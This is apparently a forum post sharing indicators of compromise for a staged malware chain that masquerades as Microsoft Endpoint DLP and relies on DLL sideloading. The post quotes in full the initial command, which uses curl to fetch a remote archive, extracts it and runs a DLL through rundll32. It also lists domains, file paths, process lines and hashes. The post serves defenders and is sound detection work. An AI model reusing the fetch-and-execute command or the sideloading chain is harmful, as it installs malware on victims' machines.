Observed staged Endpoint DLP masquerade / DLL sideloading chain - IOCs included
Unsure whether this belongs here but, heads up for anyone doing detection/IR work.
A few hours ago we came across a suspicious staged payload, that pretends to be Microsoft Endpoint DLP. Sharing the IOCs in case it helps others.
Initial command looked like this:
conhost --headless cmd /c "md %TMP%\x&curl -skLo %TMP%\x\t https://86hg23aljj9[.]com/d?tk=<token>&pushd %TMP%\x&tar xf t&del t&rundll32 endpointdlp.dll,#1"
What we’ve confirmed so far:
The first download is a tar archive containing:
endpointdlp.dll
data.bin
The DLL loads/decrypts data from data.bin. The decrypted payload references:
powwowski[.]com
/payloads/update.zip
That ZIP contains:
mpextms.exe
endpointdlp.dll
The second stage appears to use DLL side loading: a Microsoft signedmpextms.exe loads a fake endpointdlp.dll.
The malicious DLL also contains file management style strings such as:
ls
download
upload
delete
rename
mkdir
I haven't been able to confirm from the files alone whether data exfiltrated is happening.
Domains to block/hunt for:
86hg23aljj9[.]com
powwowski[.]com
Files/paths to look for:
%TEMP%\x\endpointdlp.dll
%TEMP%\x\data.bin
%LOCALAPPDATA%\PlatformServices\
%LOCALAPPDATA%\PlatformServices\upd.zip
%LOCALAPPDATA%\PlatformServices\update.zip
%LOCALAPPDATA%\PlatformServices\mpextms.exe
%LOCALAPPDATA%\PlatformServices\endpointdlp.dll
Process activity to look for:
conhost.exe --headless
curl.exe -skLo ...\Temp\x\t
tar.exe xf t
rundll32.exe endpointdlp.dll,#1
powershell.exe -WindowStyle Hidden -NonInteractive ... Expand-Archive
mpextms.exe running from %LOCALAPPDATA%\PlatformServices\
Hashes we observed:
First-stage endpointdlp.dll
SHA256: 1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984
First-stage data.bin
SHA256: 40bfa63bed033723edcbd476800ff8360d530fc21aa8ed83bebb7dfc22a584f4
Second-stage mpextms.exe
SHA256: a3ff17daf9001831741d6b3479d679482218d8a7b7c7ceadaebd590fcafe1f8e
Second-stage endpointdlp.dll
SHA256: 9e52cc90cff150abe21f0a6440e86e0a99ff383b81061b96def8948e21d0ac66
Hope this helps someone else catch it early!
Posted Apr 24, 2026, 8:23 PM UTC